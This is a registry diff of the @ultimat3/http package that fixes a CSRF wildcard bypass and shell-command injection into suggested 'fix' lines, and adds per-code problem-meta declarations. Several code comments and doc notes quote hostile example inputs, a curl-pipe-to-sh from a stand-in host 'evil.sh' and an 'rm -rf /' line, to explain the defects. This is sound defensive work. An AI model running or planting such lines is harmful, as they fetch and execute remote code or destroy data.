@ultimat3/http 19.1.3 → 19.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CLAUDE.md CHANGED
@@ -132,6 +132,12 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
132
132
  trace was discarded, the root span carried a dashed UUIDv7 no collector accepts as a trace id,
133
133
  and the log lines beside it quoted a third value. The `request-id` and `trace` stages now only
134
134
  PUBLISH what was decided — they do not decide. The regex is core's `parseTraceparent`, one copy.
135
+ **Only ONE of the two is gated on `trustProxy`, and the asymmetry is deliberate** — `x-request-id`
136
+ is ECHOED back as this response's identity, so a caller choosing it poisons log correlation for
137
+ everyone; `traceparent` is W3C context continuation, which any caller is expected to send.
138
+ `traceHeaders()` (tier 0) puts it on every typed-client call, so gating it would break tracing
139
+ between two Ultimate services under the default `trustProxy` (false), for a value that carries
140
+ correlation and no authority. Never "fix" the inconsistency by gating it.
135
141
  - **Every proxy-supplied header goes through `forwardedElement(header, hops)` and nothing else.**
136
142
  `trustProxy` documented reading `x-forwarded-for` and had no reader at all, so behind any ingress
137
143
  every anonymous request keyed to the proxy — one `auth` bucket (capacity 10) for the whole
@@ -140,6 +146,7 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
140
146
  declared trusts nothing rather than falling back leftward. `trustProxy` defaults to **false** and
141
147
  requires `trustedProxyHops` (`X_TRUST_PROXY_UNSET` at `defineHttpConfig`) — it also gates the
142
148
  `x-request-id` echo, and a direct caller choosing its own request id poisons log correlation.
149
+ The inbound `traceparent` is deliberately NOT on this list; `correlation.ts` above says why.
143
150
  `x-forwarded-proto` rides the same rule, which is what finally emits HSTS behind a
144
151
  TLS-terminating ingress, and so does Envoy's `x-forwarded-client-cert` (`peer-identity.ts`).
145
152
  **A peer certificate read from an untrusted hop is worse than none, because it authenticates** —
@@ -183,7 +190,12 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
183
190
  because only an AMBIENT credential can be forged into (anonymous and bearer callers are exempt);
184
191
  before body so a rejected write never allocates its payload. `sec-fetch-site: same-origin`, an
185
192
  `Origin` equal to this app, or an `Origin` already in `cors.origins`; anything else is
186
- `X_CSRF_BLOCKED` (403, never 401 — the caller IS signed in, which is the problem). The self
193
+ `X_CSRF_BLOCKED` (403, never 401 — the caller IS signed in, which is the problem). "Already in
194
+ `cors.origins`" means an EXACT listing — `originListed`, never `allowedOrigin`, `As of
195
+ 2026-09-06`. That one answers the RESPONSE header, and for `origins: ['*'], credentials: false`
196
+ (the only wildcard `assertCorsConfig` admits) its answer is `'*'`, which is not `null` and so
197
+ read as "this origin is one we allow": every origin on the internet was same-origin, and the
198
+ cross-site form post this stage exists to refuse was answered `{"ok":true}`. The self
187
199
  origin is built from `ctx.https`, not `url.protocol`, or every legitimate post behind a
188
200
  TLS-terminating ingress would be refused. **`mode: 'token'` is deliberately NOT shipped** — a
189
201
  double-submit token needs a cookie issuer and a form-field helper at tier 4/5, and a half-built
@@ -250,9 +262,24 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
250
262
  both needed. The caller-facing `issues` are a fixed vocabulary — `could not parse the body as
251
263
  JSON`, and the LIST of accepted content-types rather than the one that was sent — and everything
252
264
  the caller supplied rides in `bodyInvalid`'s third argument, `meta`, which `toProblem` never
253
- renders. The parser's own message goes through core's `renderThrowable`, never `String(error)`:
265
+ renders for a framework code (`registerProblemMeta` refuses to declare one). The parser's own message goes through core's `renderThrowable`, never `String(error)`:
254
266
  `bun run error-render` cannot see this class of defect, because a `catch` binding is not a
255
267
  parameter, so it is a review rule here and a blind spot there.
268
+ - **`meta` reaches the document only by declaration — per code, per key, app codes only**
269
+ (`As of 2026-09-05`). `meta` is the operator-only bag: `bodyInvalid` keeps the body excerpt
270
+ there, the limiter its internal key, core's `assert` the rejected value, `env-example.ts` file
271
+ paths, and each of those relies on `toProblem` never rendering it. So "carry `meta`" was never
272
+ an option, and an app whose `X_SESSION_CHECKOUT_BUSY` put `{ sessionId, title, state }` there
273
+ had its island recover the id by running a UUID regex over `cause`. `registerProblemMeta({
274
+ X_SESSION_CHECKOUT_BUSY: ['sessionId', 'title', 'state'] })` (`problem-meta.ts`) is the seam,
275
+ in `registerErrorStatus`'s shape and refusing what it refuses — a framework-owned code —
276
+ plus `issues` (one home, one bound) and `__proto__`. `wireMeta` copies the declared keys that
277
+ are set, member by member through `Object.defineProperty`, all-or-nothing for `issuesOf`'s
278
+ reason and bounded at `MAX_PROBLEM_META_BYTES`; `toProblem` drops it under exactly the
279
+ `opaque` condition that blanks `cause`, which is also the belt on "both registrations are
280
+ needed": a code with keys and no status is unclassified. The typed client
281
+ (`@ultimat3/action`'s `metaFromWire`) puts the member back on `RemoteActionError.meta`, under
282
+ the four members that class owns.
256
283
  - **A browser that fails `auth: 'required'` is redirected; an agent gets the problem document.**
257
284
  One condition, two audiences, decided once in `auth-redirect.ts` and applied in the `error-map`
258
285
  stage before the overlay. `config.signInPath` is `null` until an app names its page, because a
@@ -572,6 +599,34 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
572
599
  `drain()` and `healthzPayload()`/`readyzPayload()`. Never keep a private `state` or
573
600
  in-flight counter — core waits on work it does not know about, so a private counter
574
601
  hangs every deploy at the `inflight` phase.
602
+ - **`stop()` hands its two hooks back ABOVE its early return** (`As of 2026-09`). The `close` hook
603
+ sets `server = undefined`, so on the SIGTERM path `if (server === undefined) return` skipped the
604
+ `unregister?.()` pair in the `finally` — for exactly the path production takes. Every later
605
+ `stop()` (a test teardown, `x dev`'s role rollback) left both registrations pointing at a socket
606
+ that was already gone, and `shutdownHookCount()` — the probe `packages/core/CLAUDE.md` names for
607
+ this leak — climbed by two per server per lifecycle. `packages/http/e2e/server.e2e.test.ts` reads
608
+ that probe now; the shape is `@ultimat3/jobs`' worker teardown, where the release is the
609
+ closure's business and never the drain's.
610
+ - **A pathname reaching a `fix:` goes through `renderFixShellArg`** (`As of 2026-09`).
611
+ `routeNotFound`'s fix is `x g route <path>`, a command, and the path is whatever an anonymous
612
+ caller typed: `GET /$(curl -s http://evil.sh|sh)` rendered that substitution verbatim into the
613
+ line the framework tells its reader to paste. The value still travels in the `cause`, which is
614
+ read rather than run. `renderFixLiteral` does not cover this — its double quotes leave `$(…)`
615
+ live in every POSIX shell.
616
+ **A `code` is gated instead of screened** (`As of 2026-09-06`): `factsOf`'s fallback `fix:` is
617
+ `x errors explain <code> --json`, and `code` is a string field off a throwable this package did
618
+ not build — a worker message, a WebSocket frame, an app's own object — so it goes through core's
619
+ `FRAMEWORK_CODE`, never `startsWith('X_')`. A value that is not a code answers nothing anyway,
620
+ so the honest command is `x errors list --json`. Same gate, same reason, as `@ultimat3/mcp`'s
621
+ `server.ts`; the value still travels in `facts.code`.
622
+ **And a SUPPLIED `fix:` is taken only from a BRANDED framework error** (`As of 2026-09-06`). The
623
+ gate above screens the code this package renders INTO a command; this one screens a whole command
624
+ a throwable handed over. `factsOf` normalises a worker message, a WebSocket frame and any app
625
+ object, so a foreign `fix` is remote text landing in the line an operator is told to paste, and a
626
+ framework code beside it makes the line read as the framework's own — `isUltimateError`, and
627
+ nothing else, is what says the value went through `renderFixShellArg` and this tree's gate. An
628
+ error that crossed a wire and lost its brand falls to the generated line, which is honest. The
629
+ `cause` still travels: a cause is read, never run.
575
630
  - **Borrowed error codes are never titled or registered here.** `X_FORBIDDEN` is policy's,
576
631
  `X_UNAUTHENTICATED` is auth's; both sit in `HTTP_BORROWED_ERROR_CODES`, which carries codes
577
632
  only. `HTTP_ERROR_TITLES` holds owned codes, and `registerErrorCodes` takes it whole and
package/README.md CHANGED
@@ -94,7 +94,7 @@ What the lifecycle refuses on the caller's behalf, `As of 2026-08`:
94
94
  | an injected limiter that does not hold a bucket a route declares | `X_RATE_LIMIT_BUCKET_UNBOUND` at `createPipeline`, because the name would fall through to `default` — measured at 120 burst for a route declaring 5 |
95
95
  | a config that never declared `rateLimit.scope` | `X_RATE_LIMIT_SCOPE_UNSET` at `defineHttpConfig`. **Breaking, `As of 2026-08`**: `'process'` used to be the default, so "nobody asked" and "the app said one replica" were the same value while the chart runs three |
96
96
  | `trustProxy: true` with no `trustedProxyHops` | `X_TRUST_PROXY_UNSET` at `defineHttpConfig`. **Breaking, `As of 2026-08`**: `trustProxy` now defaults to `false`, and `x-forwarded-for` is read at `entries.length - hops` — never at `[0]`, which is whatever the client typed |
97
- | a credentialed unsafe method that cannot be shown to be same-origin | `X_CSRF_BLOCKED` (403). `sec-fetch-site: same-origin`, `Origin` equal to this app, or an `Origin` in `cors.origins` — anything else is refused before the body is read |
97
+ | a credentialed unsafe method that cannot be shown to be same-origin | `X_CSRF_BLOCKED` (403). `sec-fetch-site: same-origin`, `Origin` equal to this app, or an EXACT listing in `cors.origins` — anything else is refused before the body is read. `origins: ['*']` lists nobody here: `'*'` is a value for the response header, not a per-origin allowance |
98
98
  | a request past `requestTimeoutMs` (30s) | `ctx.signal` aborts and the socket is answered `X_TIMEOUT` (504); a caller may shorten the deadline with `x-request-timeout-ms`, never lengthen it |
99
99
  | the caller going away mid-request | `ctx.signal` aborts on the inbound `Request.signal` too, so a closed tab unwinds cooperative work instead of holding its pool slot for the rest of the budget. Both halves are one signal (`AbortSignal.any`), and `requestTimeoutMs: 0` still delivers the caller's |
100
100
  | a request while the process is draining | `X_DRAINING` (503) + `retry-after`, which is what `isDraining()` was always documented to do here and had no reader for |
@@ -342,6 +342,30 @@ identifier a client switches on, per code, with no host to resolve or rot. `docs
342
342
  in a table row and a table row has no anchor. Assert against `problemTypeFor` and
343
343
  `ERROR_DOCS_URL`, never against a copy of either string.
344
344
 
345
+ An error's `meta` is **operator-only by default** and the document never carries it: that bag is
346
+ where `bodyInvalid` keeps the excerpt the parser choked on, where the limiter keeps the internal
347
+ key it promoted an anonymous caller to, and where core's `assert` keeps the rejected value. An app
348
+ that wants a key on the wire declares it, per code, beside the status — and both declarations
349
+ are needed, because a code with no status is an unclassified 5xx whose `meta` is blanked with
350
+ its `cause`:
351
+
352
+ ```ts
353
+ import { registerErrorStatus, registerProblemMeta } from '@ultimat3/http';
354
+
355
+ registerErrorStatus({ X_SESSION_CHECKOUT_BUSY: 409 });
356
+ registerProblemMeta({ X_SESSION_CHECKOUT_BUSY: ['sessionId', 'title', 'state'] });
357
+ ```
358
+
359
+ The document then carries `meta: { sessionId, title, state }` — the declared keys that are set,
360
+ copied member by member (`__proto__` skipped at every depth), and nothing else off the error. It
361
+ is all-or-nothing, as `issues` is: one value JSON cannot carry (a `Date`, a `bigint`, a class
362
+ instance, a cycle) or a serialisation past `MAX_PROBLEM_META_BYTES` (4096) drops the whole member,
363
+ because a document missing one declared key is a claim the server never made. Absent when no
364
+ declared key is set — never `{}`. A framework-owned code is refused (`X_PROBLEM_META_INVALID`),
365
+ as is `issues`, which has its own top-level home. `@ultimat3/action`'s typed client puts the
366
+ member back on the rebuilt error's `meta`, so an island reads `error.meta.sessionId` where it
367
+ used to run a regex over `cause`.
368
+
345
369
  ## Boundaries
346
370
 
347
371
  Tier 2. Imports `@ultimat3/core`, `@ultimat3/schema`, `@ultimat3/i18n` and `@ultimat3/time` —
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@ultimat3/http",
3
- "version": "19.1.3",
3
+ "version": "19.3.1",
4
4
  "description": "Owned request lifecycle over Bun.serve: router, ordered pipeline, problem+json errors",
5
5
  "license": "MIT",
6
6
  "type": "module",
@@ -31,9 +31,9 @@
31
31
  "test": "bun test"
32
32
  },
33
33
  "dependencies": {
34
- "@ultimat3/core": "19.1.3",
35
- "@ultimat3/i18n": "19.1.3",
36
- "@ultimat3/schema": "19.1.3",
37
- "@ultimat3/time": "19.1.3"
34
+ "@ultimat3/core": "19.3.1",
35
+ "@ultimat3/i18n": "19.3.1",
36
+ "@ultimat3/schema": "19.3.1",
37
+ "@ultimat3/time": "19.3.1"
38
38
  }
39
39
  }
@@ -34,6 +34,12 @@ export interface InboundCorrelation {
34
34
  export const readCorrelation = (headers: Headers, config: HttpConfig): InboundCorrelation => {
35
35
  const inboundId = config.trustProxy ? headers.get('x-request-id') : null;
36
36
  const requestId = inboundId !== null && REQUEST_ID.test(inboundId) ? inboundId : uuid();
37
+ // Deliberately NOT gated on `trustProxy`, unlike the id above, and the asymmetry is the rule:
38
+ // `x-request-id` is ECHOED back as this response's identity, so an untrusted caller choosing it
39
+ // poisons log correlation for everyone — while `traceparent` is W3C context continuation, which
40
+ // any caller is expected to send. `traceHeaders()` puts it on every typed-client call, so
41
+ // gating it would break tracing across two Ultimate services with the default `trustProxy`
42
+ // (false) for a value that is 32 hex characters of correlation and no authority at all.
37
43
  const parent = parseTraceparent(headers.get('traceparent'));
38
44
  return {
39
45
  requestId,
package/src/cors.ts CHANGED
@@ -37,14 +37,25 @@ export const assertCorsConfig = (config: CorsConfig): void => {
37
37
  };
38
38
 
39
39
  /**
40
- * The one answer to "may this origin talk to us?". Exported for `csrf.ts`, which asks the same
41
- * question about a *request* rather than a response — a second list of allowed origins would be
42
- * a CORS policy and a CSRF policy that quietly disagree.
40
+ * Did the app LIST this exact origin? Off the same array `allowedOrigin` reads, so the two can
41
+ * never disagree about what was declared — but the wildcard is deliberately not an answer here.
42
+ * `'*'` is a value for a RESPONSE header, meaning "any origin may read a public reply"; it says
43
+ * nothing about who may WRITE. `csrf.ts` asked `allowedOrigin(...) !== null` and got `'*'` back
44
+ * for the one legal wildcard form (`credentials: false`), which read as "evil.test is an origin
45
+ * this app allows" and let a cross-site form post through with the session cookie attached.
46
+ */
47
+ export const originListed = (config: CorsConfig, origin: string | null): boolean =>
48
+ origin !== null && config.origins.includes(origin);
49
+
50
+ /**
51
+ * The one answer to "may this origin READ our reply?" — the value of
52
+ * `access-control-allow-origin`, or `null` for no CORS headers at all. Never a proof that a
53
+ * request came from somewhere allowed to make it: that is `originListed`, above.
43
54
  */
44
55
  export const allowedOrigin = (config: CorsConfig, origin: string | null): string | null => {
45
56
  if (origin === null) return null;
46
57
  if (config.origins.includes('*')) return config.credentials ? null : '*';
47
- return config.origins.includes(origin) ? origin : null;
58
+ return originListed(config, origin) ? origin : null;
48
59
  };
49
60
 
50
61
  /**
package/src/csrf.ts CHANGED
@@ -6,7 +6,7 @@
6
6
  // first-class surface here rather than a legacy one.
7
7
 
8
8
  import type { CorsConfig } from './cors';
9
- import { allowedOrigin } from './cors';
9
+ import { originListed } from './cors';
10
10
 
11
11
  export type CsrfMode = 'origin' | 'off';
12
12
 
@@ -61,9 +61,12 @@ export const checkCsrf = (input: CsrfCheckInput): CsrfVerdict => {
61
61
  const site = input.secFetchSite;
62
62
  if (site === 'same-origin' || site === 'none') return { ok: true };
63
63
  if (input.origin === input.selfOrigin) return { ok: true };
64
- if (input.origin !== null && allowedOrigin(input.cors, input.origin) !== null) {
65
- return { ok: true };
66
- }
64
+ // `originListed`, never `allowedOrigin`: that one answers the RESPONSE header, and for
65
+ // `origins: ['*'], credentials: false` — the only wildcard `assertCorsConfig` admits — its
66
+ // answer is `'*'`, which is not null and so read as "this origin is one we allow". A
67
+ // credentialed cross-site POST from evil.test was therefore accepted by the check that exists
68
+ // to refuse exactly it. An exact match is the only allowance a write may be built on.
69
+ if (originListed(input.cors, input.origin)) return { ok: true };
67
70
  // Only the four values a browser can send are quoted back. Anything else is a client that
68
71
  // wrote the header itself, and echoing what it wrote is how a rejected value reaches the log
69
72
  // store and the response body — the same defect the error-map stage's log line had.
@@ -2,10 +2,18 @@
2
2
  // document and the three lines the terminal and the overlay print. Split off `error-map.ts` at the
3
3
  // 500-line ceiling — that file answers "what status is this code", one closed table, and this one
4
4
  // answers "what does a reader see", which is three audiences and one opacity rule.
5
- import { ERROR_DOCS_URL, renderCauseValue, singleLine, stringField } from '@ultimat3/core';
5
+ import {
6
+ ERROR_DOCS_URL,
7
+ FRAMEWORK_CODE,
8
+ isUltimateError,
9
+ renderCauseValue,
10
+ singleLine,
11
+ stringField,
12
+ } from '@ultimat3/core';
6
13
  import type { ValidationIssue } from '@ultimat3/schema';
7
14
  import { declaredStatusFor, statusFor } from './error-map';
8
15
  import { HTTP_ERROR_TITLES } from './errors';
16
+ import { type ProblemMeta, problemMetaKeysFor, wireMeta } from './problem-meta';
9
17
 
10
18
  /** Everything a renderer (problem+json, overlay, terminal) needs from a throwable. */
11
19
  export interface ErrorFacts {
@@ -63,7 +71,23 @@ export const factsOf = (error: unknown): ErrorFacts => {
63
71
  // `x logs tail` is in `PLANNED_COMMANDS` — it exits `X_NOT_IMPLEMENTED`. A fix line naming a
64
72
  // command that throws is axiom 4 inverted: the one instruction the reader is given fails.
65
73
  // `x errors explain` ships, and it is the command that answers "what is this code".
66
- fix: str(error, 'fix') ?? `x errors explain ${code} --json # then fix the throwing call site`,
74
+ // `FRAMEWORK_CODE`, never `startsWith('X_')`: `code` is a string field off a value this
75
+ // package did not build, and this line is a COMMAND a reader pastes — `x errors explain
76
+ // X_$(curl evil.sh|sh) --json` substitutes before `x` is reached. A code that is not one
77
+ // answers nothing anyway, so the listing is the honest command. Same gate, same reason, as
78
+ // `@ultimat3/mcp`'s `server.ts`.
79
+ // BRANDED, never merely "has a `fix` string": `factsOf` normalises a worker message, a
80
+ // WebSocket frame and any app object, so a foreign `fix` is remote text landing in the line an
81
+ // operator is told to paste — `rm -rf / # x errors explain` renders as authoritative as the
82
+ // framework's own. An `UltimateError` built its `fix` in this process, through
83
+ // `renderFixShellArg` and this tree's gate; nothing else has. A framework error that crossed a
84
+ // wire and lost its brand falls to the generated line below, which is honest rather than a
85
+ // command it did not author.
86
+ fix:
87
+ (isUltimateError(error) ? str(error, 'fix') : undefined) ??
88
+ (FRAMEWORK_CODE.test(code)
89
+ ? `x errors explain ${code} --json # then fix the throwing call site`
90
+ : 'x errors list --json # then fix the throwing call site'),
67
91
  // Core's one constant, never a per-code URL: `wiki/` is the only public documentation surface
68
92
  // and a code lives there in a table row, which has no anchor. An `UltimateError` already
69
93
  // resolved this at construction, so the fallback only fires for a throwable the framework did
@@ -179,6 +203,22 @@ function issuesOf(error: unknown): readonly ValidationIssue[] | undefined {
179
203
  }
180
204
  }
181
205
 
206
+ /**
207
+ * The declared `meta` keys of a throwable, carried, or `undefined`. The declaration is read by
208
+ * the CODE — never by the class, which the framework cannot see across a bundle — and the walk
209
+ * itself is `wireMeta`'s. Total, for `retryAfterOf`'s reason: `meta` is a property read on a
210
+ * value this package did not build, in the frame that decides what the caller sees.
211
+ */
212
+ function metaOf(error: unknown, code: string): ProblemMeta | undefined {
213
+ const keys = problemMetaKeysFor(code);
214
+ if (keys === undefined || typeof error !== 'object' || error === null) return undefined;
215
+ try {
216
+ return wireMeta((error as Record<string, unknown>)['meta'], keys);
217
+ } catch {
218
+ return undefined;
219
+ }
220
+ }
221
+
182
222
  /**
183
223
  * RFC-9457 `type`, per code. A URN, and deliberately not a URL: `type` is the document's PRIMARY
184
224
  * identifier for the problem KIND — a client switches on it — while `docs` is where a human goes
@@ -214,6 +254,14 @@ export interface ProblemDocument {
214
254
  * `[]` says "validated clean", which is a different and false claim.
215
255
  */
216
256
  readonly issues?: readonly ValidationIssue[] | undefined;
257
+ /**
258
+ * The keys of the error's `meta` that `registerProblemMeta` declared for its code, JSON-safe
259
+ * and bounded — and nothing else off `meta`, which is the operator-only bag the rest of this
260
+ * package keeps OUT of the document (`HttpError`'s doc comment says why). ABSENT when the code
261
+ * declares none, when none of the declared keys is set, and when one of them cannot be carried
262
+ * — all-or-nothing, like `issues`, and for its reason.
263
+ */
264
+ readonly meta?: ProblemMeta | undefined;
217
265
  }
218
266
 
219
267
  /** The title a caller gets for a failure the framework cannot name. */
@@ -257,6 +305,9 @@ export const toProblem = (
257
305
  // withhold — it names the fields and the expectations of something the caller was never meant to
258
306
  // see the inside of. `X_INPUT_INVALID` is a declared 4xx, so it is never opaque.
259
307
  const issues = opaque ? undefined : issuesOf(error);
308
+ // The same condition, for the same reason: a code nobody classified cannot have declared any
309
+ // key either, so this is the belt on `registerProblemMeta`'s "both registrations are needed".
310
+ const carried = opaque ? undefined : metaOf(error, facts.code);
260
311
  return {
261
312
  type: problemTypeFor(facts.code),
262
313
  title: opaque ? INTERNAL_TITLE : facts.title,
@@ -269,6 +320,7 @@ export const toProblem = (
269
320
  docs: facts.docs,
270
321
  requestId: meta.requestId,
271
322
  ...(issues === undefined ? {} : { issues }),
323
+ ...(carried === undefined ? {} : { meta: carried }),
272
324
  };
273
325
  };
274
326
 
package/src/error-map.ts CHANGED
@@ -31,6 +31,7 @@ export const ERROR_STATUS = {
31
31
  // and declaring a status the framework already owns. 500 is the honest answer to either.
32
32
  X_NO_REQUEST: 500,
33
33
  X_ERROR_STATUS_INVALID: 500,
34
+ X_PROBLEM_META_INVALID: 500,
34
35
  // A `hive()` whose `split()` returned no members. The caller cannot fix it by sending
35
36
  // different input — the guard belongs in the app, either by returning at least one member
36
37
  // or by skipping the hive when the source is empty — so it is the server's bug, not theirs.
@@ -338,6 +339,14 @@ export const ERROR_STATUS = {
338
339
  // runtime and makes that answer a reviewed one instead of an accident, which is the whole reason
339
340
  // this table is closed.
340
341
  X_UI_FORM_PATH_INVALID: 500,
342
+ // @ultimat3/render — an island handed props it cannot carry: an undeclared key, a value that is
343
+ // not JSON, or a bag over `ISLAND_PROPS_MAX_BYTES`. The author's fault and never the caller's,
344
+ // so 500 is the honest class — and it HAS to be a declared 500. Without a row the code was an
345
+ // unclassified failure, and `toProblem` blanks the cause of one of those outside dev
346
+ // (`isUnclassifiedFailure`): a 34-row catalog over the cap took a page down with a problem
347
+ // document that said "the details are in this process's logs" about an error whose whole
348
+ // value is the sentence naming the prop and its bytes. Measured on ai-maxxing, 2026-09-05.
349
+ X_ISLAND_PROPS_INVALID: 500,
341
350
  // @ultimat3/mail
342
351
  // The deployment configured no transport. It reaches a caller only through an inline
343
352
  // `send(…, { sync: true })` inside a request; the queued path dead-letters instead. A server-side
package/src/errors.ts CHANGED
@@ -4,6 +4,7 @@
4
4
  import {
5
5
  registerErrorCodes,
6
6
  registerErrorRetry,
7
+ renderFixShellArg,
7
8
  renderThrowable,
8
9
  UltimateError,
9
10
  } from '@ultimat3/core';
@@ -22,6 +23,7 @@ export const HTTP_OWNED_ERROR_CODES = [
22
23
  'X_PIPELINE_FINALIZE_FAILED',
23
24
  'X_NO_REQUEST',
24
25
  'X_ERROR_STATUS_INVALID',
26
+ 'X_PROBLEM_META_INVALID',
25
27
  'X_CORS_CONFIG_INVALID',
26
28
  'X_CSP_DIRECTIVE_INVALID',
27
29
  'X_RATE_LIMIT_NOT_SHARED',
@@ -84,6 +86,7 @@ export const HTTP_ERROR_TITLES: Readonly<Record<HttpOwnedErrorCode, string>> = {
84
86
  X_PIPELINE_FINALIZE_FAILED: 'a finalize stage threw instead of finishing the response',
85
87
  X_NO_REQUEST: 'the inbound request is not in scope here',
86
88
  X_ERROR_STATUS_INVALID: 'an error code cannot be mapped to that status',
89
+ X_PROBLEM_META_INVALID: 'a problem document cannot carry that meta declaration',
87
90
  X_CORS_CONFIG_INVALID: 'the cors config can never produce a working response',
88
91
  X_CSP_DIRECTIVE_INVALID: 'a csp extension would emit something other than the directive it names',
89
92
  X_RATE_LIMIT_NOT_SHARED: 'the rate limit is declared fleet-wide and the store is per-process',
@@ -150,11 +153,20 @@ export class HttpError extends UltimateError {
150
153
  }
151
154
  }
152
155
 
156
+ /**
157
+ * The pathname is whatever an anonymous caller typed, and `fix:` is a COMMAND POSITION — so it
158
+ * goes through `renderFixShellArg`, which passes an ordinary path through and substitutes a
159
+ * placeholder for anything a shell would read. `renderFixLiteral` is the wrong tool here and
160
+ * cannot be made right: it answers double quotes, in which `$(…)` and backticks are still live.
161
+ * Reproduced: `GET /$(curl -s http://evil.sh|sh)` rendered that substitution verbatim into a line
162
+ * whose whole purpose is to be pasted into a terminal.
163
+ */
153
164
  export const routeNotFound = (method: string, pathname: string): HttpError =>
154
165
  new HttpError({
155
166
  code: 'X_ROUTE_NOT_FOUND',
167
+ // The value itself still travels, in the field that is read rather than run.
156
168
  cause: `no route registered for ${method} ${pathname}`,
157
- fix: `x routes list --json # then: x g route ${pathname}`,
169
+ fix: `x routes list --json # then: x g route ${renderFixShellArg(pathname, '<the path the cause names>')}`,
158
170
  });
159
171
 
160
172
  export const methodNotAllowed = (
@@ -296,6 +308,18 @@ export const errorStatusInvalid = (code: string, reason: string): HttpError =>
296
308
  fix: `x errors list --json # then registerErrorStatus({ ${code}: 422 }) with a status the framework does not already own`,
297
309
  });
298
310
 
311
+ /**
312
+ * At boot, beside `errorStatusInvalid` and for the same class of mistake: a declaration the
313
+ * document could never honour — a framework-owned code, whose `meta` is operator-only; a key that
314
+ * is not one (`issues` rides at the top level already); or a second, different list for one code.
315
+ */
316
+ export const problemMetaInvalid = (code: string, reason: string): HttpError =>
317
+ new HttpError({
318
+ code: 'X_PROBLEM_META_INVALID',
319
+ cause: `${code} cannot carry that meta: ${reason}`,
320
+ fix: `registerProblemMeta({ ${code}: ['<key>'] }) with the keys this app's error puts in meta, beside its registerErrorStatus() call`,
321
+ });
322
+
299
323
  /**
300
324
  * At `defineHttpConfig`, never on the request. A CORS pair a browser can never accept resolves to
301
325
  * "emit no CORS headers at all", which is unreadable from the console: every cross-origin call
package/src/index.ts CHANGED
@@ -31,7 +31,7 @@ export {
31
31
  export type { InboundCorrelation } from './correlation';
32
32
  export { readCorrelation } from './correlation';
33
33
  export type { CorsConfig } from './cors';
34
- export { allowedOrigin, corsHeaders, DEFAULT_CORS, preflight } from './cors';
34
+ export { allowedOrigin, corsHeaders, DEFAULT_CORS, originListed, preflight } from './cors';
35
35
  export type { CsrfCheckInput, CsrfConfig, CsrfMode, CsrfVerdict } from './csrf';
36
36
  export { checkCsrf, DEFAULT_CSRF, selfOrigin } from './csrf';
37
37
  export type { Deadline } from './deadline';
@@ -115,6 +115,8 @@ export type { PeerIdentity } from './peer-identity';
115
115
  export { peerIdentity } from './peer-identity';
116
116
  export type { HandleInit, Pipeline, PipelineDeps } from './pipeline';
117
117
  export { createPipeline, PIPELINE_STAGES } from './pipeline';
118
+ export type { ProblemMeta, ProblemMetaValue } from './problem-meta';
119
+ export { MAX_PROBLEM_META_BYTES, registerProblemMeta, resetProblemMeta } from './problem-meta';
118
120
  export type {
119
121
  Bucket,
120
122
  MemoryRateLimitStore,
@@ -0,0 +1,197 @@
1
+ // Which of an error's `meta` keys a problem document may carry, per code — and the copy of them
2
+ // that leaves the process. Split from `error-map.ts` (457 lines against the 500-line ceiling) and
3
+ // kept beside it in shape: `registerErrorStatus` is the app's declaration of the HTTP half of a
4
+ // code, and this is the second half of the same declaration, written in the same file of the app.
5
+ //
6
+ // OPT-IN, PER KEY, BY CODE — never "carry `meta`". `meta` is the framework's OPERATOR-ONLY bag
7
+ // and four packages depend on it never reaching a caller: `bodyInvalid` puts the fragment of the
8
+ // body the parser choked on there (a `{"password": …}` excerpt, once), the rate limiter puts the
9
+ // internal key it promoted an anonymous caller to, core's `assert` puts the rejected VALUE, and
10
+ // `env-example.ts` puts file paths. A blanket carry would have shipped every one of them to the
11
+ // network tab. So an app names the keys, for the codes it owns, and everything else stays where
12
+ // it was. Measured need: an app's `X_SESSION_CHECKOUT_BUSY` carried `{ sessionId, title, state }`
13
+ // in `meta` and its island recovered the id by running a UUID regex over `cause`.
14
+
15
+ import { ERROR_STATUS } from './error-map';
16
+ import { problemMetaInvalid } from './errors';
17
+
18
+ /** What a problem document's `meta` member holds — JSON, and nothing JSON cannot carry. */
19
+ export type ProblemMetaValue =
20
+ | string
21
+ | number
22
+ | boolean
23
+ | null
24
+ | readonly ProblemMetaValue[]
25
+ | { readonly [key: string]: ProblemMetaValue };
26
+
27
+ export type ProblemMeta = Readonly<Record<string, ProblemMetaValue>>;
28
+
29
+ /**
30
+ * The serialised ceiling, in bytes, of what a document carries under `meta`. A problem body is a
31
+ * refusal, not a payload: `MAX_PROBLEM_ISSUES` bounds the other extension for the same reason.
32
+ * Over the cap the member is dropped WHOLE, never cut — a subset of keys is a claim the server
33
+ * never made, and a client reading `meta.sessionId` off a document that dropped `sessionId` to
34
+ * make room has no way to tell "absent" from "cut".
35
+ */
36
+ export const MAX_PROBLEM_META_BYTES = 4096;
37
+
38
+ /**
39
+ * A key is spelled the way a code's `meta` key is spelled in source. `issues` is refused by name
40
+ * because it already has a top-level home (`ProblemDocument.issues`, parsed and bounded on its
41
+ * own terms), and a second copy under `meta.issues` is two places for a client to read one fact.
42
+ * `__proto__` is refused because `JSON.parse` on the receiving side mints it as a real own key.
43
+ */
44
+ const KEY = /^[A-Za-z_$][\w$]*$/;
45
+ const RESERVED_KEYS: ReadonlySet<string> = new Set(['issues', '__proto__']);
46
+
47
+ /** Per app-owned code, the `meta` keys its documents carry. A `Map`, for `APP_ERROR_STATUS`'s reason. */
48
+ const DECLARED = new Map<string, readonly string[]>();
49
+
50
+ const sameKeys = (left: readonly string[], right: readonly string[]): boolean =>
51
+ left.length === right.length && left.every((key, at) => key === right[at]);
52
+
53
+ /**
54
+ * Declare, per code, which `meta` keys the problem document carries. Call it once at boot, in
55
+ * the module that declares the codes — beside `registerErrorStatus`, and BOTH are needed: a code
56
+ * with no declared status is an unclassified 5xx, and `toProblem` blanks everything but the code
57
+ * and the request id on one of those, `meta` included.
58
+ *
59
+ * ```ts
60
+ * registerErrorStatus({ X_SESSION_CHECKOUT_BUSY: 409 });
61
+ * registerProblemMeta({ X_SESSION_CHECKOUT_BUSY: ['sessionId', 'title', 'state'] });
62
+ * ```
63
+ *
64
+ * Framework-owned codes are refused, exactly as `registerErrorStatus` refuses them: their `meta`
65
